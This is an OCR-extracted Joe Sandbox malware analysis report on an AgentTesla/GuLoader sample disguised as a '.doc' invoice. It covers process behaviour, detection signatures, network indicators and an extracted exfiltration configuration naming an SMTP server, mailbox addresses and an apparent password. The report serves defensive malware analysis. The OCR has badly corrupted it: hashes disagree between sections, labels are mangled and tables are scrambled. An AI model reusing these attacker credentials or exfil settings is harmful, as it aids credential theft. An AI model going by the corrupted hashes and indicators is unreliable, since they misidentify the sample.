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Windows Analysis Report Fra FAC-ES101-2107-03806.d...

Overview

General Information Detection

Sample Fra FAC-ES101-2107-
Name: 03806.doc.exe MALICIOUS

Analysis ID: 1639

MD5: 18b804e21a3clc..
SHAL: 9622e70cd6db56..
SHA256: cbc14388711803..
Infos: @ gt oS

Most interesting Screenshot:

Score:

Range:

Whitelisted:

Confidence:

Process Tree

= System is wl0x64native

AgentTesla GulLoader
100

0-100
false

100%

Found malware configuration

Multi AV Scanner detection
Yara detected AgentTesla
Antivirus / Scanner detection for sub...
Antivirus detection
Multi AV Scanner detection for doma...
Sigma detected: RegAsm connects ...

Yara detected GulLoader

Tries to harvest and steal Putty / Wi...

Tries to detect Any.ru

for subm...

%)
«Q
=3
4
c
=
(1
7]

for URL or domain

Hides threads from debuggers

Writes to foreign memory. regions

.}

Classification

. ﬁ Fra FAC-ES101-2107-03806.doc.exe (PID: 8172 cmdline: 'C:\Users\user\Desktop\Fra FAC-ES101-2107-03806.doc.exe’ MD5: 18B804E21A3C1C80C195E7D20DC38477)

e (B RegAsm.exe (PID: 2648 cmdline: 'C:\Users\user\Desktop\Fra FAC-ES101-2107-03806.doc.exe’ MD5: 0D5DF43AF2916F47D00C1573797C1A13)

e [B] RegAsm.exe (PID: 2792 cmdline: 'C:\Users\user\Desktop\Fra FAC-ES101-2107-03806.doc.exe’ MD5: 0D5DF43AF2916F47D00C1573797C1A13)

e (B RegAsm.exe (PID: 2796 cmdline: 'C:\Users\user\Desktop\Fra FAC-ES101-2107-03806.doc.exe’ MD5: 0D5DF43AF2916F47D00C1573797C1A13)
. conhost.exe (PID: 2880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)

= cleanup

Malware Configuration

Threatname: Agenttesla

"Exfil Mode": "SMTP",

"SMTP Info": "margaridasantos @tccinfaes.comTccBps1427logmail.tccinfaes.comnoekon2ti@gmail.com”

}

Yara Overview

Memory Dumps

Source

00000000.00000002.1175708620.0000000002A
B0000.00000040.00000001.sdmp

0000001B.00000002.5639470864.000000001DD
61000.00000004.00000001.sdmp

0000001B.00000002.5639470864.000000001DD
61000.00000004.00000001.sdmp
Process Memory Space: RegAsm.exe PID: 2796

Process Memory Space: RegAsm.exe PID: 2796

Copyright Joe Security LLC 2021

Rule

JoeSecurity_GulLoader_2
JoeSecurity_AgentTesla_1
JoeSecurity_CredentialSte
aler

JoeSecurity_AgentTesla_1

JoeSecurity_CredentialSte
aler

Description

Yara detected
GulLoader

Yara detected
AgentTesla

Yara detected
Credential Stealer

Yara detected
AgentTesla

Yara detected
Credential Stealer

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Strings
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Sigma Overview

Networking: | |

Sigma detected: RegAsm connects to smtp port

Jbx Signhature Overview

@ Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file
Antivirus | Scanner detection for submitted sample
Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

=

Networking:

Data Obfuscation:

]

Yara detected GuLoader

Hooking and other Techniques for Hiding and Protection:

=

Malware Analysis System Evasion:

=

Anti Debugging:

]‘

HIPS | PFW | Operating System Protection Evasion:

=

Stealing of Sensitive Information:

Yara detected AgentTesla
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Remote Access Functionality:

Yara detected AgentTesla

Mitre Att&ck Matrix

Initial
Access

Valid
Accounts

Default
Accounts

Domain
Accounts

Local
Accounts

Cloud
Accounts

Replication
Through
Removable
Media

External
Remote
Services

Execution

Windows Management

Instrumentation

Scheduled Task/Job

At (Linux)

At (Windows)

Cron

Launchd

Scheduled Task

Behavior Graph
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Hide Legend

Behavior Graph Legend:
D: 1639 I:I Process
Sample: Fra FAC-ES101-2107-03806.doc.exe
Startdate: 13/10/2021 i
Architecture: 'WINDOWS . Slgnatu re
Score: 100 . Created File
Il onsieinfo
23 mail tccinfaes.com
ﬂ Is Dropped
sarted H Is Windows Process

Number of created Registry Values

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java
.Net C# or VB.NET

C, C++ or other language

H0® 2

B4 Reppmec A Is malicious
Internet
| Tt S

Portugal ®

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Ell © Type here to search o]

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download
0.0FraFACESIOL2107-0306 doc.exe4000000unpack 100  A@a  TRADNekakgbpr  DownoadFie
Domains

Source Detection Scanner Label Link

tccinfaes.com 3% Virustotal Browse
mailicdnaescom % Vel Bowse
x1.i.lencr.org 0% Virustotal Browse

URLs

Source Detection Scanner Label Link

http://127.0.0.1:HTTP/1.1 0% Avira URL Cloud  safe
http://x1.i.lencr.org/ 0% Virustotal Browse
http://x1.i.lencr.org/ 0% Avira URL Cloud safe
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https://www.virustotal.com/gui/file/cbc14388711803d5a3f90396d4d33c9b3da952c37a5d919daed329cbd487c1b4/detection/f-cbc14388711803d5a3f90396d4d33c9b3da952c37a5d919daed329cbd487c1b4-1634123430
https://www.metadefender.com/#!/results/file/bzIxMTAxMzF3YkdzSWNQVHItYTMzWjNpcVJI/regular/analysis
https://www.virustotal.com/gui/url/e47aa054147322005e1165d5a2dc99e7263af91e80ce1529ecd0e23ccbae3ecf/detection/u-e47aa054147322005e1165d5a2dc99e7263af91e80ce1529ecd0e23ccbae3ecf-1629495532
https://www.virustotal.com/gui/url/d8d5c2f4020dc9ef83a1a22756aa6904962eaf6f5a89b6a10f890ea282806422/detection/u-d8d5c2f4020dc9ef83a1a22756aa6904962eaf6f5a89b6a10f890ea282806422-1634104685
https://www.virustotal.com/gui/url/b02f31dac6568d6310876d0114c53277963eaf61a7685a9735140fe0e82f5f2d/detection/u-b02f31dac6568d6310876d0114c53277963eaf61a7685a9735140fe0e82f5f2d-1634119002
https://www.virustotal.com/gui/url/d8d5c2f4020dc9ef83a1a22756aa6904962eaf6f5a89b6a10f890ea282806422/detection/u-d8d5c2f4020dc9ef83a1a22756aa6904962eaf6f5a89b6a10f890ea282806422-1634104685
https://www.virustotal.com/gui/url/b02f31dac6568d6310876d0114c53277963eaf61a7685a9735140fe0e82f5f2d/detection/u-b02f31dac6568d6310876d0114c53277963eaf61a7685a9735140fe0e82f5f2d-1634119002

Source

http://DynDns.comDynDNS
http://L3TFBaO3nLWUP4KRw.comt-
http:/icps.letsencrypt.org0

http:i/https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-

0.4.3.6.zip%tordir%%ha
http:/ix1.c.lencr.org/0
http:/fx1.i.lencr.org/0
http:/itccinfaes.com
http:/faSuCYu.com
http:/ir3.0.lencr.org0
http:/ir3.i.lencr.org/0)
http://L3TFBaO3nLWUP4KRw.com

Domains and IPs

Contacted Domains

Name

drive.google.com

googlehosted.l.googleusercontent.com

doc-04-ak-docs.googleusercontent.com

x1.i.lencr.org

Contacted URLs

Name
http:i/https://doc-04-ak-

142.250.185.174
142.250.185.161

unknown

unknown

Detection
0%
0%
0%
0%

0%
0%
0%
0%
0%
0%
0%

Malicious

false

false

false

false

Scanner

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

Antivirus Detection

e 0%, Virustotal, Browse

Antivirus Detection

Label Link
safe
safe
safe

safe

safe
safe
safe
safe
safe
safe

safe

Reputation
high
high
high

unknown

Reputation

high

docs.googleusercontent.com/docs/securesc/ha0Oro937gcuc7I7deffksulhgsh7mbp1/qc1fdhg835
moktnu71nht8627dleqonv/1634123175000/00240525256395999725/*/1sPphH_DrSUT3UeS4U
DzeclKCi9pgFiSe?e=download

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious

142.250.185.174 drive.google.com United States 15169 GOOGLEUS false

142.250.185.161 googlehosted.l.googleuser United States 15169 GOOGLEUS false
content.com

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:

Report type:
Sample file name:

Cookbook file name:

Copyright Joe Security LLC 2021

33.0.0 White Diamond

1639

13.10.2021

13:03:23

CloudBasic

Oh 13m 38s

false

light

Fra FAC-ES101-2107-03806.doc.exe
default.jbs
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https://www.virustotal.com/gui/url/e47aa054147322005e1165d5a2dc99e7263af91e80ce1529ecd0e23ccbae3ecf/detection/u-e47aa054147322005e1165d5a2dc99e7263af91e80ce1529ecd0e23ccbae3ecf-1629495532
https://www.virustotal.com/gui/url/d8d5c2f4020dc9ef83a1a22756aa6904962eaf6f5a89b6a10f890ea282806422/detection/u-d8d5c2f4020dc9ef83a1a22756aa6904962eaf6f5a89b6a10f890ea282806422-1634104685
https://www.virustotal.com/gui/url/b02f31dac6568d6310876d0114c53277963eaf61a7685a9735140fe0e82f5f2d/detection/u-b02f31dac6568d6310876d0114c53277963eaf61a7685a9735140fe0e82f5f2d-1634119002

Analysis system description:

Reader DC 21, Java 8 Update 301

Run name:

Number of analysed new started processes 42

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification:

EGA Information: Failed

HDC Information: Failed

HCA Information:

Suspected Instruction Hammering

mal100.spre.troj.spyw.evad.WinEXE@8/5@4/3

e Successful, ratio: 97%

e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

* Found application associated with file extension: .exe

Warnings: Show All

Simulations

Behavior and APIs

Time Type
13:05:44 Task Scheduler
13:06:48 API Interceptor

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL

188.93.227.195

Copyright Joe Security LLC 2021

Description

Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe

Run new task: Intel PTT EK Recertification path: "C:\Windows\System32\DriverStore\FileRepository\iclsclient.in

f_amd64_75ffcaSeec865b4b\lib\IntelPTTEKRecertification.exe"

2545x Sleep call for process: RegAsm.exe modified

SHA 256 Detection
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious

Get hash malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context
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https://view.joesandbox.com/analysis/394447/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394447/html/none?idtype=webid
https://view.joesandbox.com/analysis/393894/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393894/html/none?idtype=webid
https://view.joesandbox.com/analysis/393865/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393865/html/none?idtype=webid
https://view.joesandbox.com/analysis/393261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393261/html/none?idtype=webid
https://view.joesandbox.com/analysis/393206/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393206/html/none?idtype=webid
https://view.joesandbox.com/analysis/393150/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393150/html/none?idtype=webid
https://view.joesandbox.com/analysis/390781/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390781/html/none?idtype=webid
https://view.joesandbox.com/analysis/390750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390750/html/none?idtype=webid
https://view.joesandbox.com/analysis/390688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390688/html/none?idtype=webid
https://view.joesandbox.com/analysis/390503/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390503/html/none?idtype=webid
https://view.joesandbox.com/analysis/388961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388961/html/none?idtype=webid
https://view.joesandbox.com/analysis/388847/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388847/html/none?idtype=webid
https://view.joesandbox.com/analysis/388315/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388315/html/none?idtype=webid
https://view.joesandbox.com/analysis/388216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388216/html/none?idtype=webid
https://view.joesandbox.com/analysis/388023/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388023/html/none?idtype=webid
https://view.joesandbox.com/analysis/386649/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386649/html/none?idtype=webid
https://view.joesandbox.com/analysis/386570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386570/html/none?idtype=webid
https://view.joesandbox.com/analysis/386548/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386548/html/none?idtype=webid
https://view.joesandbox.com/analysis/386529/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386529/html/none?idtype=webid

Match

Domains
Match
ASN

Match
CLARANET-ASClaraNETLTDGB

JA3 Fingerprints

Match
37f463bf4616ecd445d4a1937da06e19

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash

Associated Sample Name /| URL SHA 256

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

Detection

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Link

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

Context

Context

188.93.227.195
80.168.0.124
212.49.223.28
89.206.151.169
188.93.227.195
188.93.227.195
195.102.64.245
195.102.64.215
188.93.227.195
188.93.227.195
188.93.227.195
212.49.223.21
195.157.0.198
188.93.227.195
188.93.227.195
188.93.227.195
188.93.227.195
81.171.235.227
188.93.227.195
188.93.227.195

Context

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161
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https://view.joesandbox.com/analysis/385854/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385854/html/none?idtype=webid
https://view.joesandbox.com/analysis/394447/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394447/html/none?idtype=webid
https://view.joesandbox.com/analysis/394035/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394035/html/none?idtype=webid
https://view.joesandbox.com/analysis/394001/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394001/html/none?idtype=webid
https://view.joesandbox.com/analysis/393926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393926/html/none?idtype=webid
https://view.joesandbox.com/analysis/393894/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393894/html/none?idtype=webid
https://view.joesandbox.com/analysis/393865/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393865/html/none?idtype=webid
https://view.joesandbox.com/analysis/393389/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393389/html/none?idtype=webid
https://view.joesandbox.com/analysis/393337/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393337/html/none?idtype=webid
https://view.joesandbox.com/analysis/393261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393261/html/none?idtype=webid
https://view.joesandbox.com/analysis/393206/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393206/html/none?idtype=webid
https://view.joesandbox.com/analysis/393150/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393150/html/none?idtype=webid
https://view.joesandbox.com/analysis/393109/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393109/html/none?idtype=webid
https://view.joesandbox.com/analysis/391142/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391142/html/none?idtype=webid
https://view.joesandbox.com/analysis/390781/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390781/html/none?idtype=webid
https://view.joesandbox.com/analysis/390750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390750/html/none?idtype=webid
https://view.joesandbox.com/analysis/390688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390688/html/none?idtype=webid
https://view.joesandbox.com/analysis/390503/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390503/html/none?idtype=webid
https://view.joesandbox.com/analysis/389647/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389647/html/none?idtype=webid
https://view.joesandbox.com/analysis/388961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388961/html/none?idtype=webid
https://view.joesandbox.com/analysis/388847/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388847/html/none?idtype=webid
https://view.joesandbox.com/analysis/394533/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394533/html/none?idtype=webid
https://view.joesandbox.com/analysis/394531/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394531/html/none?idtype=webid
https://view.joesandbox.com/analysis/394522/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394522/html/none?idtype=webid
https://view.joesandbox.com/analysis/394519/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394519/html/none?idtype=webid
https://view.joesandbox.com/analysis/394447/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394447/html/none?idtype=webid
https://view.joesandbox.com/analysis/394385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394385/html/none?idtype=webid
https://view.joesandbox.com/analysis/394363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394363/html/none?idtype=webid
https://view.joesandbox.com/analysis/394340/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394340/html/none?idtype=webid
https://view.joesandbox.com/analysis/394306/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394306/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

Dropped Files

No context

Created / dropped Files

Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse e 142.250.18

5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

142.250.18
5.174
142.250.18
5.161

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\2D85F72862B55C4EADD9EG6E06947F3D

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type: data

Category: dropped

Size (bytes): 1391

Entropy (8bit):  7.705940075877404

Encrypted: false

SSDEEP: 24:00VdTH2NMU+I3EOUIcrgdaf3sWrATrkC4EmCUKkmGMkfQo1fSZotWzD1:00Vgul3Kex8WIzNeCUkIMmSuUMX1

MDS5: 0CD2F9EODA1773E9ED864DASE370E74E
SHA1L: CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256: 96BCEC06264976F37460779ACF28C5A7CFE8A3COAAE11A8FFCEEO5COBDDF08C6

SHA-512: 3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FBIFOCCI3EE201B5EB1DOFEF17B290747E8B839D2E49A8F36C5EBF3C7CI1(

Malicious: false
Reputation: moderate, very likely benign file

Preview:

0..k0..S......oceet @.YDc.c...0...* H........001.0...U....US1)0"..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..3506041104382001.0...U...
.US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0...* H............. (O $s..7.+W(.....8..n<.W.x.u...jn..O(..h.ID...c.. k....1.I~ . 3<.H..y..... K...qiJffl.~<p.

YooK G| H#S.8.0.0...IW..t./.8.{pl..0<.....C...0.K~...W..{J.L.%.p.))..S$........J.2..aQ

G7.Y .1 A)>Y>8&$..ZL@.F....QN. }..XY.>QX........>{J.Ks.....P.|C.t.t...0.[q6....00\H....} .. )occo o A
@0..U.orrr0.U. 0.0, Uy Y S0 X0 S H W UX P ) aUN N VKLS.Y L~ LG, 9. VL PY LY
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cq...0[..\4ylv.;.by../&. ...occii 6...7.6u..r...L..*A.v....5/(l..dwn
|F.H* . v.v.j=.8.d.+.(...B."].y...p..N....."Qn..d.3CO......BO
...b.Ef.lo.;
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https://view.joesandbox.com/analysis/394300/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394300/html/none?idtype=webid
https://view.joesandbox.com/analysis/394264/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394264/html/none?idtype=webid
https://view.joesandbox.com/analysis/394240/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394240/html/none?idtype=webid
https://view.joesandbox.com/analysis/394227/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394227/html/none?idtype=webid
https://view.joesandbox.com/analysis/394199/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394199/html/none?idtype=webid
https://view.joesandbox.com/analysis/394133/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394133/html/none?idtype=webid
https://view.joesandbox.com/analysis/394074/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394074/html/none?idtype=webid
https://view.joesandbox.com/analysis/394039/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394039/html/none?idtype=webid
https://view.joesandbox.com/analysis/394015/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394015/html/none?idtype=webid
https://view.joesandbox.com/analysis/393996/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393996/html/none?idtype=webid
https://view.joesandbox.com/analysis/393983/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393983/html/none?idtype=webid

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\77EC63BDA74BD0ODO0E0426DC8F8008506 E

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe
File Type: Microsoft Cabinet archive data, 61157 bytes, 1 file

Category: dropped

Size (bytes): 61157

Entropy (8bit):  7.995991509218449

Encrypted: true

SSDEEP: 1536:ppUkcaDREfLNPj1tHqN+ZQgYXAMxCbGORaOHMSAKMgAAaE1k:7UXaDRONPj1Vi++xQFa07sTgAQ1k

MDS5: AB5C36D10261C173C5896F3478CDC6B7

SHAL: 87AC53810AD125663519E944BC87DED3979CBEE4

SHA-256: FBE90FB0557FE49D7702CFB506312AC0B24C97802F9C782696DB6D47F434E8E9

SHA-512: E83E4EAE44E7A9CBCD267DBFC25A7F4F68B50591E3BBE267324B1F813C9220D565B284994DED5F7D2D371D50E1EBFA647176EC8DEI716F754C6B5785C6E897
A

Malicious: false

Preview:

C$.F.0.A0 }d3..2. F2.- Fy. W& 1. T.3..x.

S - C.\=..&..Ue.?2.2" 8.0 c..4y"T. . .X..@xpQ..q

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

File Type: data

Category: dropped

Size (bytes): 192

Entropy (8bit):  2.773803200765873

Encrypted: false

SSDEEP: 3:kkFklgibkNILfIIXIE/zMc/IIXNNX8RolJuRdyo1dIUKIGXJIDdt:kKzINIC1/pNMa8Rdy+UKcXP

MD5: COF6E5DES350F04A1A006A5FD4A782A0

SHA1L: 0EB93B14518AF71AAE6DC792D64EC113FEBEF047

SHA-256: 922A6F70711F210CFFC79FE8B2D221B6FIBE498BOBB5ACS57AEE036FBOBBDEG3C

SHA-512: 5FFD74A9B80AECA9CF73CC21E5DC4675FA864A378AD614D0744CE35DALF27E3197E9FA2AS56674A41F398E5D712635A1BBE3FC33610C75AFF3DC3E9551A407F
A

Malicious: false

Preview:
Pevee e Y@ e e O RLLEP XD Lener . 0r g /" 5.2.6.2.8.1.5.¢.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDODOE0426DC8F8008506

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: data

Category: modified

Size (bytes): 326

Entropy (8bit):  3.108423439276625

Encrypted: false

SSDEEP: 6:kKn6EledFN+SKkQIPIEGYRMY9z+4KIDA3RUeOIEfcTt:f1q2kPIE99SNxAhUefit

MD5: 20FAB887BAB664264C09893468BB7814

SHA1L: 7DBF7EA2C65D6981A7AF9BOAEA8970B3538F4B39

SHA-256: 0FC9202FDB486BDEOF5381EB1D2CCAB23E9BD2D3FEB087A820175E2206691E18
SHA-512: 367F0F1621CF18C94F119A7566EACFC842E459105D5E523CA37B4B4556F365E8731CDC024F7EE610C003A40370332D0A98BBE07C6E3894A1837F324F16AA8420
Malicious: false

Preview:

. . .http..//.ctldl.w.ind.ow.s.u.p.date..com/ms.dow.n.lo.ad/up.date.lv.3./
static/trustedr/en/authro.otstl.cab.."0.aa8.albeab6.d71.:0.".

\Device\ConDrv

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 30

Entropy (8bit): 3.964735178725505

Encrypted: false

SSDEEP: 3:IBVFBWAGRHneyy:ITQAGRHner

MD5: 9F754B47B351EFOFC32527B541420595

SHAL: 006C66220B33E98C725B73495FE97B3291CE14D9

SHA-256: 0219D77348D2F0510025E188D4EA84ABE73F856DEBSE0878D673079D05840591
SHA-512: C6996379BCB774CE27EEECOF173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A0853
Malicious: false

Copyright Joe Security LLC 2021 Page 13 of 37



\Device\ConDrv

Preview:

NordVPN directory not found!..

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:
Entrypoint Preview
Data Directories

Sections

Copyright Joe Security LLC 2021

69e1c892f664c884

0x401378
text
false
0x400000

windows gui

PE32 executable (GUI) Intel 80386, for MS Windows
5.81188292947866
e Win32 Executable (generic) a (10002005/4)
99.15%
* Win32 Executable Microsoft Visual Basic 6
(82127/2) 0.81%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

Fra FAC-ES101-2107-03806.doc.exe

102400

18b804e21a3c1c80c195e7d20dc38477
9622e70cd6db56de3488e99cd18c5f51e54afh64

chc14388711803d5a3f90396d4d33c9b3dad52c37a5d91
9daed329chbd487c1b4

21eadel10fb00f4ef5356025ce037983b2e220835345b4bd
141f1063367da309390caa83d9d822177bf5c3ef900c311
al2afff2f9731787f0afb4c6f35576ffec

1536:tfD8AJKfjAX20HgXeyTftunugia21jbnD:tfeUxxAZnn/

is program cannot be run in DOS mode....$....
.Rich. ..PE..L..(KY

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

0x594BF828 [Thu Jun 22 17:02:32 2017 UTC]

o » o » O »

669316531b5190f02843878b6ed87394
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Name  Virtual Address Virtual Size
text 0x1000 0x14588
.data 0x16000 0xdOc

.rsrc 0x17000 Ox1cb2
Resources

Imports

Version Infos
Possible Origin

Language of compilation system

English

Network Behavior

Network Port Distribution

TCP Packets
UDP Packets

DNS Queries

Timestamp
Oct 13, 2021 13:06:37.400597095 CEST

Oct 13, 2021 13:06:38.103961945 CEST

Oct 13, 2021 13:08:14.143503904 CEST

Oct 13, 2021 13:08:15.095901012 CEST

DNS Answers

Timestamp Source IP Dest IP

Oct 13, 2021
13:05:42.829720974
CEST

Oct 13, 2021
13:05:42.829720974
CEST

1111 192.168.11.20

1111 192.168.11.20

Oct 13, 2021
13:06:37.409956932
CEST

Oct 13, 2021
13:06:38.138346910
CEST

1111 192.168.11.20

1111 192.168.11.20

Oct 13, 2021
13:06:38.138346910
CEST

1111 192.168.11.20

Copyright Joe Security LLC 2021

Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics
0x15000 False 0.496163504464 data 6.24678665883 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ
0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
